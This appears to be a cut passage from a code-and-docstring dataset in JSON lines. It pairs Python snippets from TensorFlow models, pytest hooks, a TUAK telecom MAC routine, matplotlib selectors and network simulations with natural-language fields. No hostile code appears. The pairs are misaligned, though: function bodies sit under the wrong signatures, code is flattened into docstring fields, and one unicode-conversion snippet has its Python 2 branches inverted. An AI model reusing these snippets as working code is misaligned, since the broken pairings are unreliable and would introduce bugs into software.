1, 1], padding=\"SAME\",data_format=self.data_format)x = batch_norm(x, is_training=True, data_format=self.data_format)out = [self._enas_conv(x, curr_cell, prev_cell, 3, out_filters),self._enas_conv(x, curr_cell, prev_cell, 5, out_filters),avg_pool,max_pool,x,]out = tf.stack(out, axis=0)out = out[op_id, :, :, :, :]return outdef _enas_conv(self, x, curr_cell, prev_cell, filter_size, out_filters,stack_conv=2):Performs an enas convolution specified by the relevant parameters."} {"code": "def converted_paths_exist(self, output, path):\n\n `output` is the root output directory.\n `path` is the relative path of the converted file.\n\n Implementations should use `write_file_or_remove()` and\n `write_dir_or_remove()` to ensure files are properly removed on error.\n\n A `FileConversionError` should be raised on conversion error.\n\n `self.handled(path) is True` can be assumed.\n \"\"\"\n", "nl": "Return True if all converted paths existreturn all(os.path.lexists(os.path.join(output, p)) for p in self.converted_paths(path))def convert(self, fin, output, path):Convert a source file object"} {"code": "def test_set_destination_package_full_qty(self):\n zone_location = self.zone_location\n picking_type = self.picking1.picking_type_id\n moves_before = self.picking1.move_lines\n self.assertEqual(len(moves_before), 1)\n self.assertEqual(len(moves_before.move_line_ids), 1)\n move_line = moves_before.move_line_ids\n response = self.service.dispatch(\n \"set_destination\",\n params={\n \"move_line_id\": move_line.id,\n \"barcode\": self.free_package.name,\n \"quantity\": move_line.product_uom_qty,\n \"confirmation\": False,\n },\n )\n moves_after = self.picking1.move_lines\n self.assertEqual(moves_before, moves_after)\n self.assertRecordValues(\n move_line,\n [\n {\n \"result_package_id\": self.free_package.id,\n \"product_uom_qty\": 10,\n \"qty_done\": 10,\n \"shopfloor_user_id\": self.env.user.id,\n },\n ],\n )\n move_lines = self.service._find_location_move_lines()\n move_lines = move_lines.sorted(lambda l: l.move_id.priority, reverse=True)\n self.assert_response_select_line(\n response,\n zone_location,\n picking_type,\n move_lines,\n message=self.service.msg_store.confirm_pack_moved(),\n )\n", "nl": "Scanned barcode is the destination package.Initial data:move qty 10 (assigned):-> move_line qty 10 from location XThen the operator move the 10 qty, we get:move qty 10 (done):-> move_line qty 10 from location X with the scanned package"} {"code": "def get_linux_disks(session, partition=False):\n disks_dict = {}\n parent_disks = set()\n driver = \"pci\"\n if platform.machine() == \"s390x\":\n driver = \"css0\"\n block_info = session.cmd('ls /sys/dev/block -l | grep \"/%s\"' % driver)\n for matched in re.finditer(r'/block/(\\S+)\\s^', block_info, re.M):\n knames = matched.group(1).split('/')\n if len(knames) == 2:\n parent_disks.add(knames[0])\n if partition is False and knames[0] in parent_disks:\n if knames[0] in disks_dict:\n del disks_dict[knames[0]]\n continue\n\n disks_dict[knames[-1]] = [knames[-1]]\n o = session.cmd('lsblk -o KNAME,SIZE | grep \"%s \"' % knames[-1])\n disks_dict[knames[-1]].append(o.split()[-1])\n o = session.cmd('udevadm info -q all -n %s' % knames[-1])\n for parttern in (r'DEVTYPE=(\\w+)\\s^', r'ID_SERIAL=(\\S+)\\s^', r'ID_WWN=(\\S+)\\s^'):\n searched = re.search(parttern, o, re.M | re.I)\n disks_dict[knames[-1]].append(searched.group(1) if searched else None)\n return disks_dict\n\n", "nl": "List all disks or disks with no partition.:param session: session object to guest:param partition: if true, list all disks; otherwise,list only disks with no partition.:return: the disks dict.e.g. {kname: [kname, size, type, serial, wwn]}"} {"code": "def extents(self):\n c_idx, c_dist = self._corner_handles.closest(event.x, event.y)\n e_idx, e_dist = self._edge_handles.closest(event.x, event.y)\n m_idx, m_dist = self._center_handle.closest(event.x, event.y)\n\n if 'move' in self.state:\n self.active_handle = 'C'\n self._extents_on_press = self.extents\n\n elif m_dist < self.maxdist * 2:\n self.active_handle = 'C'\n elif c_dist > self.maxdist and e_dist > self.maxdist:\n self.active_handle = None\n return\n elif c_dist < e_dist:\n self.active_handle = self._corner_order[c_idx]\n else:\n self.active_handle = self._edge_order[e_idx]\n\n x1, x2, y1, y2 = self.extents\n if self.active_handle in ['W', 'SW', 'NW']:\n x1, x2 = x2, event.xdata\n if self.active_handle in ['N', 'NW', 'NE']:\n y1, y2 = y2, event.ydata\n self._extents_on_press = x1, x2, y1, y2\n\n @property", "nl": "Return (xmin, xmax, ymin, ymax).x0, y0, width, height = self._rect_bboxxmin, xmax = sorted([x0, x0 + width])ymin, ymax = sorted([y0, y0 + height])return xmin, xmax, ymin, ymax@extents.setterdef extents(self, extents):# Update displayed shapeself.draw_shape(extents)# Update displayed handlesself._corner_handles.set_data(*self.corners)self._edge_handles.set_data(*self.edge_centers)self._center_handle.set_data(*self.center)self.set_visible(self.visible)self.update()def draw_shape(self, extents):x0, x1, y0, y1 = extentsxmin, xmax = sorted([x0, x1])ymin, ymax = sorted([y0, y1])xlim = sorted(self.ax.get_xlim())ylim = sorted(self.ax.get_ylim())xmin = max(xlim[0], xmin)ymin = max(ylim[0], ymin)xmax = min(xmax, xlim[1])ymax = min(ymax, ylim[1])if self.drawtype == 'box':self.to_draw.set_x(xmin)self.to_draw.set_y(ymin)self.to_draw.set_width(xmax - xmin)self.to_draw.set_height(ymax - ymin)elif self.drawtype == 'line':self.to_draw.set_data([xmin, xmax], [ymin, ymax])def _set_active_handle(self, event):Set active handle based on the location of the mouse event"} {"code": "def v_comment(self, comment):\n\n Default is None or if a filename was provided on construction\n the :class:`~pypet.storageservice.HDF5StorageService`.\n\n \"\"\"", "nl": "Sets the commentcomment = str(comment)self._comment = comment@propertydef v_storage_service(self):The service that can store the trajectory to disk or wherever."} {"code": "def _decode(self, rel_codes, anchors):\n ycenter_a, xcenter_a, ha, wa = anchors.get_center_coordinates_and_sizes()\n\n num_codes = tf.shape(rel_codes)[0]\n result = tf.unstack(tf.transpose(rel_codes))\n ty, tx, th, tw = result[:4]\n tkeypoints = result[4:]\n if self._scale_factors:\n ty /= self._scale_factors[0]\n tx /= self._scale_factors[1]\n th /= self._scale_factors[2]\n tw /= self._scale_factors[3]\n tkeypoints /= tf.tile(self._keypoint_scale_factors, [1, num_codes])\n\n w = tf.exp(tw) * wa\n h = tf.exp(th) * ha\n ycenter = ty * ha + ycenter_a\n xcenter = tx * wa + xcenter_a\n ymin = ycenter - h / 2.\n xmin = xcenter - w / 2.\n ymax = ycenter + h / 2.\n xmax = xcenter + w / 2.\n decoded_boxes_keypoints = box_list.BoxList(\n tf.transpose(tf.stack([ymin, xmin, ymax, xmax])))\n\n tiled_anchor_centers = tf.tile(\n tf.stack([ycenter_a, xcenter_a]), [self._num_keypoints, 1])\n tiled_anchor_sizes = tf.tile(\n tf.stack([ha, wa]), [self._num_keypoints, 1])\n keypoints = tkeypoints * tiled_anchor_sizes + tiled_anchor_centers\n keypoints = tf.reshape(tf.transpose(keypoints),\n [-1, self._num_keypoints, 2])\n decoded_boxes_keypoints.add_field(fields.BoxListFields.keypoints, keypoints)\n return decoded_boxes_keypoints", "nl": "Decode relative codes to boxes and keypoints.Args:rel_codes: a tensor with shape [N, 4 + 2 * num_keypoints] representing Nanchor-encoded boxes and keypointsanchors: BoxList of anchors.Returns:boxes: BoxList holding N bounding boxes and keypoints."} {"code": "def call(self, inputs, training=False):\n x, attn_mask, head_mask = inputs\n\n all_hidden_states = ()\n all_attentions = ()\n\n hidden_state = x\n for i, layer_module in enumerate(self.layer):\n if self.output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_state,)\n\n layer_outputs = layer_module([hidden_state, attn_mask, head_mask[i]], training=training)\n hidden_state = layer_outputs[-1]\n\n if self.output_attentions:\n assert len(layer_outputs) == 2\n attentions = layer_outputs[0]\n all_attentions = all_attentions + (attentions,)\n else:\n assert len(layer_outputs) == 1\n\n if self.output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_state,)\n\n outputs = (hidden_state,)\n if self.output_hidden_states:\n outputs = outputs + (all_hidden_states,)\n if self.output_attentions:\n outputs = outputs + (all_attentions,)\n return outputs\n\n\nclass TFDistilBertMainLayer(tf.keras.layers.Layer):", "nl": "Parameters----------x: tf.Tensor(bs, seq_length, dim)Input sequence embedded.attn_mask: tf.Tensor(bs, seq_length)Attention mask on the sequence.Outputs-------hidden_state: tf.Tensor(bs, seq_length, dim)Sequence of hiddens states in the last (top) layerall_hidden_states: Tuple[tf.Tensor(bs, seq_length, dim)]Tuple of length n_layers with the hidden states from each layer.Optional: only if output_hidden_states=Trueall_attentions: Tuple[tf.Tensor(bs, n_heads, seq_length, seq_length)]Tuple of length n_layers with the attention weights from each layerOptional: only if output_attentions=True"} {"code": "def f1star(self, K, RAND, SQN, AMF, TOP=None):\n if len(K) not in (16, 32) or len(RAND) != 16 or len(SQN) != 6 or len(AMF) != 2:\n log('ERR', 'TUAK.f1star: invalid args')\n return None\n\n if self.LEN_MAC == 64:\n INSTANCE = 0x88\n off = 8\n elif self.LEN_MAC == 128:\n INSTANCE = 0x90\n off = 16\n else:\n INSTANCE = 0xa0\n off = 32\n if len(K) == 32:\n INSTANCE += 1\n if python_version > 2:\n INSTANCE = bytes([INSTANCE])\n else:\n INSTANCE = chr(INSTANCE)\n\n if self.TOPc is not None:\n TOPc = self.TOPc\n elif TOP is not None:\n TOPc = make_TOPc(K, TOP)\n else:\n TOPc = make_TOPc(K, self.TOP)\n\n INOUT = []\n INOUT.append( TOPc[::-1] )\n INOUT.append( INSTANCE[::-1] )\n INOUT.append( TUAK.ALGONAME[::-1] )\n INOUT.append( RAND[::-1] )\n INOUT.append( AMF[::-1] )\n INOUT.append( SQN[::-1] )\n INOUT.append( K[::-1] )\n if len(K) == 16:\n INOUT.append( b'\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0' )\n INOUT.append( b'\\x1f\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x80' )\n INOUT.append( b'\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0'\\\n b'\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0' )\n INOUT = b''.join(INOUT)\n\n for i in range(TUAK.KeccakIterations):\n INOUT = keccakp1600(INOUT)\n return INOUT[:off][::-1]\n", "nl": "return MAC_S [8, 16 or 32 bytes buffer] or None on error"} {"code": "def pytest_itemcollected(item):\n global _old_fpu_mode\n\n mode = get_fpu_mode()\n\n if _old_fpu_mode is None:\n _old_fpu_mode = mode\n elif mode != _old_fpu_mode:\n _collect_results[item] = (_old_fpu_mode, mode)\n _old_fpu_mode = mode\n\n\n@pytest.fixture(scope=\"function\", autouse=True)", "nl": "Check FPU precision mode was not changed during test collection.The clumsy way we do it here is mainly necessary because numpystill uses yield tests, which can execute code at test collectiontime."} {"code": "def ArgList(args, lparen=LParen(), rparen=RParen()):\n node = Node(syms.power, [func_name, ArgList(args)])\n if prefix is not None:\n node.prefix = prefix\n return node\n", "nl": "A parenthesised argument list, used by Call()node = Node(syms.trailer, [lparen.clone(), rparen.clone()])if args:node.insert_child(1, Node(syms.arglist, args))return nodedef Call(func_name, args=None, prefix=None):A function call"} {"code": "def test_plot(self, mseed_stream):\n mseed_stream.plot(show=False)\n", "nl": "Tests plot method if matplotlib is installed"} {"code": "def test_middleware_multiple(self, dm):\n convo = Conversation(nlp=kwik_e_mart_nlp, app_path=kwik_e_mart_app_path)\n convo.params = Params(\n allowed_intents=[\"store_info.find_nearest_store\"],\n target_dialogue_state=\"greeting\",\n )\n convo.say(\"close door\")\n assert convo.params == Params()\n\n\n@pytest.mark.parametrize(\n \"language, locale, expected_ser_call\",\n [\n (\"en\", \"en_GB\", {\"lang\": \"EN\", \"latent\": True, \"locale\": \"en_GB\"}),\n (\"es\", \"en_US\", {\"lang\": \"EN\", \"latent\": True, \"locale\": \"en_US\"}),\n (None, None, {\"latent\": True, \"locale\": \"en_CA\", \"lang\": \"EN\"}),\n (\n \"INVALID_LANG_CODE\",\n \"en_GB\",\n {\"lang\": \"EN\", \"latent\": True, \"locale\": \"en_GB\"},\n ),\n (None, \"en_GB\", {\"lang\": \"EN\", \"latent\": True, \"locale\": \"en_GB\"}),\n (\"es\", None, {\"lang\": \"EN\", \"latent\": True, \"locale\": \"en_CA\"}),\n (\n \"es\",\n \"INVALID_LOCALE_CODE\",\n {\"lang\": \"EN\", \"latent\": True},\n ),\n (\"eng\", \"en_GB\", {\"lang\": \"EN\", \"latent\": True, \"locale\": \"en_GB\"}),\n ],\n)", "nl": "Adding multiple middleware worksdef _first(request, responder, handler):responder.middles = vars(responder).get(\"middles\", []) + [\"first\"]handler(request, responder)def _second(request, responder, handler):responder.middles = vars(responder).get(\"middles\", []) + [\"second\"]handler(request, responder)def _handler(request, responder):# '_first' should have been called first, then '_second'assert responder.middles == [\"first\", \"second\"]dm.add_middleware(_first)dm.add_middleware(_second)dm.add_dialogue_rule(\"middleware_test\", _handler, intent=\"middle\")request = create_request(\"domain\", \"middle\")response = create_responder(request)result = dm.apply_handler(request, response)assert result.dialogue_state == \"middleware_test\"def test_convo_params_are_cleared(kwik_e_mart_nlp, kwik_e_mart_app_path):Tests that the params are cleared in one trip from app to mm."} {"code": "def getProduct(self, shopId, productId, locale):\n pass\n", "nl": "Parameters:- shopId- productId- locale"} {"code": "def convert_to_unicode(text):\n\n if six.PY3:\n if isinstance(text, str):\n return text\n elif isinstance(text, bytes):\n return text.decode(\"utf-8\", \"ignore\")\n else:\n raise ValueError(\"Unsupported string type: %s\" % (type(text)))\n elif six.PY2:\n if isinstance(text, str):\n return text\n elif isinstance(text, unicode):\n return text.encode(\"utf-8\")\n else:\n raise ValueError(\"Unsupported string type: %s\" % (type(text)))\n else:\n raise ValueError(\"Not running on Python2 or Python 3?\")\n\n", "nl": "Converts `text` to Unicode (if it's not already), assuming utf-8 input.if six.PY3:if isinstance(text, str):return textelif isinstance(text, bytes):return text.decode(\"utf-8\", \"ignore\")else:raise ValueError(\"Unsupported string type: %s\" % (type(text)))elif six.PY2:if isinstance(text, str):return text.decode(\"utf-8\", \"ignore\")elif isinstance(text, unicode):return textelse:raise ValueError(\"Unsupported string type: %s\" % (type(text)))else:raise ValueError(\"Not running on Python2 or Python 3?\")def printable_text(text):Returns text encoded in a way suitable for print or `tf.logging`."} {"code": "def get_profile_chart_points(self, chart_width, chart_height, chart_top_padding):\n x_factor, y_factor, temp_min_offset = self._calc_chart_factor(chart_width, chart_height, chart_top_padding)\n temp_profile_list = self.get_temp_profile()\n profile_chart_points = []\n for p in temp_profile_list:\n point = {\n 'x': int(p[0] * x_factor),\n 'y': int(p[-1] * y_factor - temp_min_offset),\n }\n profile_chart_points.append(point)\n return profile_chart_points\n", "nl": "These points are for lv.line() to draw the ideal reflow temp profile to give the user a visual confirmation.The points are for lv.line(), make sure to set_y_invert(True):param chart_width: width in pixel of the lv.chart:param chart_height: height in pixel of the lv.chart:param top_padding: empty space above the highest point:return: list of point x & y"} {"code": "def right(self, val):\n log.info('left(val=%d)' % val)\n self.right_x = val / 100.0 * -1\n", "nl": "Right tells the drone to go right. Pass in an int from 0-100.log.info('right(val=%d)' % val)self.right_x = val / 100.0def left(self, val):Left tells the drone to go left. Pass in an int from 0-100."} {"code": "def simulate(self, G, L, dt=0.01, strength=1, phases=None, freqs=None):\n A = nx.to_numpy_array(G)\n N = G.number_of_nodes()\n\n try:\n if phases is not None:\n assert len(phases) == N\n theta_0 = phases\n else:\n theta_0 = 2 * np.pi * np.random.rand(N)\n\n if freqs is not None:\n assert len(freqs) == N\n omega = freqs\n else:\n omega = np.random.uniform(0.9, 1.1, N)\n\n except AssertionError:\n raise ValueError(\"Initial conditions must be None or lists of length N.\")\n\n t = np.linspace(dt, L * dt, L)", "nl": "rSimulate Kuramoto model on a ground truth network.Kuramoto oscillators model synchronization processes. At each timestep, each node adjusts its phase :math:`\\theta_i` according to theequation.. math::\\theta_i = \\omega_i + \\frac{\\lambda}{N}\\sum_{j=1}^{N}\\sin\\left(\\theta_j - \\theta_i\\right),where :math:`\\lambda`, is a coupling `strength` parameter and each nodehas an internal frequency :math:`\\omega_i`; the `freqs` functionparameter provides the option to initialize these frequencies withuser-defined values (or leave as `None` to randomly initialize). Eachnode's initial phase :math:`\\theta_{i0}` can be randomly initialized(the default behavior) or set by specifying the `phases` parameter.The results dictionary also stores the ground truth network as`'ground_truth'` and the internal frequencies of the process as`'internal_frequencies'`.For more information on the Kuramoto model, see the review essayincluded below.Parameters----------G (nx.Graph)the input (ground-truth) graph with :math:`N` nodes.L (int)the length of the desired time series.dt (float)size of timestep for numerical integration.strength (float)coupling strength (prefactor for interaction terms).phases (np.ndarray)an :math:`N \\times 1` array of initial phases.freqs (np.ndarray)an :math:`N \\times 1` array of internal frequencies.Returns-------TS (np.ndarray)an :math:`N \\times L` array of synthetic time series data.Examples--------.. code:: pythonG = nx.ring_of_cliques(4,16)N = G.number_of_nodes()L = int(1e4)omega = np.random.uniform(0.95, 1.05, N)dynamics = Kuramoto()TS = dynamics.simulate(G, L, dt=0.01, strength=0.3, freqs=omega)References----------.. [1] F. Rodrigues, T. Peron, P. Ji, J. Kurths.The Kuramoto model in complex networks.https://arxiv.org/abs/1511.07139"} {"code": "def build_tokens_line(self):\n self.mapping = []\n logical = []\n length = 0\n previous = None\n for token in self.tokens:\n token_type, text = token[0:2]\n if token_type in (tokenize.COMMENT, tokenize.NL,\n tokenize.INDENT, tokenize.DEDENT,\n tokenize.NEWLINE):\n continue\n if token_type == tokenize.STRING:\n text = mute_string(text)\n if previous:\n end_line, end = previous[3]\n start_line, start = token[2]\n if end_line != start_line:\n if self.lines[end_line - 1][end - 1] not in '{[(':\n logical.append(' ')\n length += 1\n elif end != start:\n fill = self.lines[end_line - 1][end:start]\n logical.append(fill)\n length += len(fill)\n self.mapping.append((length, token))\n logical.append(text)\n length += len(text)\n previous = token\n self.logical_line = ''.join(logical)\n assert self.logical_line.lstrip() == self.logical_line\n assert self.logical_line.rstrip() == self.logical_line\n", "nl": "Build a logical line from tokens."} {"code": "def _create_reward_fns(self):\n raise NotImplementedError\n", "nl": "Initialize reward functions.Returns:List of reward functions."} {"code": "def _get_data_path():\n return os.path.join(tf.resource_loader.get_data_files_path(), 'samples',\n 'configs', model_name + '.config')\n\n", "nl": "Returns an absolute path to TFRecord file.return os.path.join(tf.resource_loader.get_data_files_path(), 'test_data','pets_examples.record')def get_pipeline_config_path(model_name):Returns path to the local pipeline config file."} {"code": "def display(auth_context):\n\n form = SellForm()\n return render_template('sell.html', auth_context=auth_context, form=form)\n\n\n@sell_page.route('/sell', methods=['POST'])\n@auth_required\n@sell_form_validation_required", "nl": "View function for displaying the sell page.Parameters:auth_context (dict): The authentication context of request.See middlewares/auth.py for more information.Output:Rendered HTML page."} {"code": "def __init__(self, name: str, value: t.Any, expected_value: t.Any, namespace: t.Optional[str] = None) -> None:\n self.name = namespace + '.' + name if namespace else name\n self.value = value\n self.expected_value = expected_value\n\n super().__init__(f\"name={self.name}, actual_value={self.value}, actual_value_type={type(self.value)}, \"\n f\"expected_value={self.expected_value}\")\n\n\nclass IllegalParameterTypeError(IllegalParameterError):\n \"\"\"Exception to be raised when a configuration parameter has invalid type.\"\"\"", "nl": "Initialize instance of this error.Args:name: Parameter name.value: Actual parameter value.expected_value: Expected parameter value.namespace: Path to this parameter (e.g., for `docker.image` parameter `image` is parameter name and`docker` is namespace)."} {"code": "def writefile():\n", "nl": ">>> elem = ET.Element(\"tag\")>>> elem.text = \"text\">>> serialize(elem)'text'>>> ET.SubElement(elem, \"subtag\").text = \"subtext\">>> serialize(elem)'textsubtext'Test tag suppression>>> elem.tag = None>>> serialize(elem)'textsubtext'>>> elem.insert(0, ET.Comment(\"comment\"))>>> serialize(elem) # assumes 1.3'textsubtext'>>> elem[0] = ET.PI(\"key\", \"value\")>>> serialize(elem)'textsubtext'"} {"code": "def supports_chunked_reads(self):\n return hasattr(self._fp, \"fp\")\n", "nl": "Checks if the underlying file-like object looks like ahttplib.HTTPResponse object. We do this by testing for the fpattribute. If it is present we assume it returns raw chunks asprocessed by read_chunked()."} {"code": "def read_int(self):\n byte = self.read_bytes(1)\n return struct.unpack('!b', byte)[0]\n", "nl": "read intdata = self.read_bytes(4)return struct.unpack('!i', data)[0]def read_byte(self):read byte"} {"code": "def gelu(x):\n cdf = 0.5 * (1.0 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))\n return x * cdf\n\n", "nl": " Implementation of the gelu activation function.XLNet is using OpenAI GPT's gelu (not exactly the same as BERT)Also see https://arxiv.org/abs/1606.08415"} {"code": "def plot_error_curves_plotly(log_files, names, filename, metric=\"top1_err\"):\n plot_data = prepare_plot_data(log_files, names, metric)\n colors = get_plot_colors(len(names))\n for ind, d in enumerate(plot_data):\n c, lbl = colors[ind], d[\"test_label\"]\n plt.plot(d[\"x_train\"], d[\"y_train\"], \"--\", c=c, alpha=0.8)\n plt.plot(d[\"x_test\"], d[\"y_test\"], \"-\", c=c, alpha=0.8, label=lbl)\n plt.title(metric + \" vs. epoch\\n[dash=train, solid=test]\", fontsize=14)\n plt.xlabel(\"epoch\", fontsize=14)\n plt.ylabel(metric, fontsize=14)\n plt.grid(alpha=0.4)\n plt.legend()\n if filename:\n plt.savefig(filename)\n plt.clf()\n else:\n plt.show()", "nl": "Plot error curves using plotly and save to file.plot_data = prepare_plot_data(log_files, names, metric)colors = get_plot_colors(len(plot_data), \"plotly\")# Prepare data for plots (3 sets, train duplicated w and w/o legend)data = []for i, d in enumerate(plot_data):s = str(i)line_train = {\"color\": colors[i], \"dash\": \"dashdot\", \"width\": 1.5}line_test = {\"color\": colors[i], \"dash\": \"solid\", \"width\": 1.5}data.append(go.Scatter(x=d[\"x_train\"],y=d[\"y_train\"],mode=\"lines\",name=d[\"train_label\"],line=line_train,legendgroup=s,visible=True,showlegend=False,))data.append(go.Scatter(x=d[\"x_test\"],y=d[\"y_test\"],mode=\"lines\",name=d[\"test_label\"],line=line_test,legendgroup=s,visible=True,showlegend=True,))data.append(go.Scatter(x=d[\"x_train\"],y=d[\"y_train\"],mode=\"lines\",name=d[\"train_label\"],line=line_train,legendgroup=s,visible=False,showlegend=True,))# Prepare layout w ability to toggle 'all', 'train', 'test'titlefont = {\"size\": 18, \"color\": \"#7f7f7f\"}vis = [[True, True, False], [False, False, True], [False, True, False]]buttons = zip([\"all\", \"train\", \"test\"], [[{\"visible\": v}] for v in vis])buttons = [{\"label\": b, \"args\": v, \"method\": \"update\"} for b, v in buttons]layout = go.Layout(title=metric + \" vs. epoch
[dash=train, solid=test]\",xaxis={\"title\": \"epoch\", \"titlefont\": titlefont},yaxis={\"title\": metric, \"titlefont\": titlefont},showlegend=True,hoverlabel={\"namelength\": -1},updatemenus=[{\"buttons\": buttons,\"direction\": \"down\",\"showactive\": True,\"x\": 1.02,\"xanchor\": \"left\",\"y\": 1.08,\"yanchor\": \"top\",}],)# Create plotly plotoffline.plot({\"data\": data, \"layout\": layout}, filename=filename)def plot_error_curves_pyplot(log_files, names, filename=None, metric=\"top1_err\"):Plot error curves using matplotlib.pyplot and save to file."} {"code": "def get_policy_output(self, model_out):\n return self.policy_model(model_out)\n", "nl": "Return the action output for the most recent forward pass.This outputs the support for pi(s). For continuous action spaces, thisis the action directly.Arguments:model_out (Tensor): obs embeddings from the model layers, of shape[BATCH_SIZE, num_outputs].Returns:tensor of shape [BATCH_SIZE, action_out_size]"} {"code": "def _is_blacklisted_user(email):\n can access any job type. You might want to invoke get_access(..) with\n the job type afterward.\"\"\"", "nl": "Check if an email is in the privileged users list.blacklisted_user_emails = (db_config.get_value('blacklisted_users') or'').splitlines()return any(utils.emails_equal(email, blacklisted_user_email)for blacklisted_user_email in blacklisted_user_emails)def get_user_job_type():Return the job_type that is assigned to the current user. None means one"} {"code": "def GetPchBuildCommands(self, arch=None):\n if not self.header or not self.compile_headers:\n return []\n return [\n (self._Gch('c', arch), '-x c-header', 'c', self.header),\n (self._Gch('cc', arch), '-x c++-header', 'cc', self.header),\n (self._Gch('m', arch), '-x objective-c-header', 'm', self.header),\n (self._Gch('mm', arch), '-x objective-c++-header', 'mm', self.header),\n ]\n\n", "nl": "Returns [(path_to_gch, language_flag, language, header)].|path_to_gch| and |header| are relative to the build directory."} {"code": "def test_generate_1(self, mocked_full_mode, mocked_protobuf_mode):\n protocol_generator = ProtocolGenerator(PATH_TO_T_PROTOCOL_SPECIFICATION, self.t)\n protocol_generator.generate(protobuf_only=False)\n mocked_protobuf_mode.assert_not_called()\n mocked_full_mode.assert_called_once()\n\n @classmethod", "nl": "Test the 'generate' method: protobuf_only modeprotocol_generator = ProtocolGenerator(PATH_TO_T_PROTOCOL_SPECIFICATION, self.t)protocol_generator.generate(protobuf_only=True)mocked_protobuf_mode.assert_called_once()mocked_full_mode.assert_not_called()@mock.patch(\"aea.protocols.generator.base.ProtocolGenerator.generate_protobuf_only_mode\")@mock.patch(\"aea.protocols.generator.base.ProtocolGenerator.generate_full_mode\")def test_generate_2(self, mocked_full_mode, mocked_protobuf_mode):Test the 'generate' method: full mode"} {"code": "def _improve_answer_span(doc_tokens, input_start, input_end, orig_answer_text):\n", "nl": "Returns tokenized answer spans that better match the annotated answer.# We first project character-based annotations to# whitespace-tokenized words. But then after WordPiece tokenization, we can# often find a \"better match\". For example:## Question: What year was John Smith born?# Context: The leader was John Smith (1895-1943).# Answer: 1895## The original whitespace-tokenized answer will be \"(1895-1943).\". However# after tokenization, our tokens will be \"( 1895 - 1943 ) .\". So we can match# the exact answer, 1895.## However, this is not always possible. Consider the following:## Question: What country is the top exporter of electornics?# Context: The Japanese electronics industry is the lagest in the world.# Answer: Japan## In this case, the annotator chose \"Japan\" as a character sub-span of# the word \"Japanese\". Since our WordPiece tokenizer does not split# \"Japanese\", we just use \"Japanese\" as the annotation. This is fairly rare,# but does happen.tok_answer_text = \" \".join(tokenize_func(orig_answer_text))for new_start in range(input_start, input_end + 1):for new_end in range(input_end, new_start - 1, -1):text_span = \" \".join(doc_tokens[new_start : (new_end + 1)])if text_span == tok_answer_text:return (new_start, new_end)return (input_start, input_end)def _check_is_max_context(doc_spans, cur_span_index, position):Check if this is the 'max context' doc span for the token."} {"code": "def deepcopy(self, exterior=None, label=None):\n return Polygon(\n exterior=np.copy(self.exterior) if exterior is None else exterior,\n label=self.label if label is None else label\n )\n", "nl": "Create a deep copy of the Polygon object.Parameters----------exterior : list of Keypoint or list of tuple or (N,2) ndarray, optionalList of points defining the polygon. See `imgaug.Polygon.__init__` for details.label : None or strIf not None, then the label of the copied object will be set to this value.Returns-------imgaug.PolygonDeep copy."} {"code": "def p_function_definition_1(self, p):", "nl": " function_definition : declarator declaration_list_opt compound_statement"} {"code": "def generate_axes(grid_spec, merge_extra_col=False):\n\n Assumes 4 slots.\n \"\"\"", "nl": "Generate axes from the grid specs(gs_i, gs_j) = grid_spec.get_geometry()print (gs_i, gs_j)axes = []for i in range(gs_i):axes_j = []for j in range(gs_j):if j + 1 == gs_j:if merge_extra_col is True:if 2 * i + 1 >= gs_i > 1:continueelif gs_i == 1:continueelse:ax = plt.Subplot(f, grid_spec[2*i+1:2*i+3, j])else:ax = plt.Subplot(f, grid_spec[i, j])else:ax = plt.Subplot(f, grid_spec[i, j])cleanse_tick(ax)f.add_subplot(ax)axes_j.append(ax)axes.append(axes_j)return axesgs1_axes = generate_axes(gs1, merge_extra_col=extra_col)gs3_axes = generate_axes(gs3, merge_extra_col=False)gs4_axes = generate_axes(gs4, merge_extra_col=False)total_axes = {'right': gs1_axes,'left': gs3_axes,'left_b': gs4_axes}return f, total_axes, [gs1, gs3, gs4]def analyze_plot_publication(sample, ims_results, acts, mb, S=(28, 28), specials=None, saturations_in_z=False,plot_classification=False):Plot colored visualization of the groups and masks."} {"code": "def xcycwh_to_yxyx(box: tf.Tensor, split_min_max: bool = False):\n with tf.name_scope('xcycwh_to_yxyx'):\n xy, wh = tf.split(box, 2, axis=-1)\n xy_min = xy - wh / 2\n xy_max = xy + wh / 2\n x_min, y_min = tf.split(xy_min, 2, axis=-1)\n x_max, y_max = tf.split(xy_max, 2, axis=-1)\n box = tf.concat([y_min, x_min, y_max, x_max], axis=-1)\n if split_min_max:\n box = tf.split(box, 2, axis=-1)\n return box\n\n", "nl": "Converts boxes from x_center, y_center, width, height.to ymin, xmin, ymax, xmax.Args:box: a `Tensor` whose shape is [..., 4] and represents the coordinatesof boxes in x_center, y_center, width, height.split_min_max: bool, whether or not to split x, y min and max values.Returns:box: a `Tensor` whose shape is [..., 4] and contains the new format.Raises:ValueError: If the last dimension of box is not 4 or if box's dtype isn'ta floating point type."} {"code": "def setup(cls):\n mock_logger.assert_any_call(\n logging.INFO,\n f\"Processing transaction, {len(self_.transaction_behaviour.waiting)} transactions remaining\",\n )\n\n message = self_.get_message_from_outbox()\n has_attributes, error_str = self_.message_has_attributes(\n actual_message=message,\n message_type=LedgerApiMessage,\n performative=LedgerApiMessage.Performative.GET_RAW_TRANSACTION,\n to=LEDGER_API_ADDRESS,\n sender=str(self_.skill.public_id),\n terms=ml_dialogue.terms,\n )\n assert has_attributes, error_str\n\n ledger_api_dialogue = cast(\n LedgerApiDialogue, self_.ledger_api_dialogues.get_dialogue(message)\n )\n assert ledger_api_dialogue.associated_ml_trade_dialogue == ml_dialogue\n\n assert self_.transaction_behaviour.processing_time == 0.0\n\n assert self_.transaction_behaviour.processing == ledger_api_dialogue\n\n mock_logger.assert_any_call(\n logging.INFO,\n f\"requesting transfer transaction from ledger api for message={message}...\",\n )\n\n @staticmethod", "nl": "Setup the test 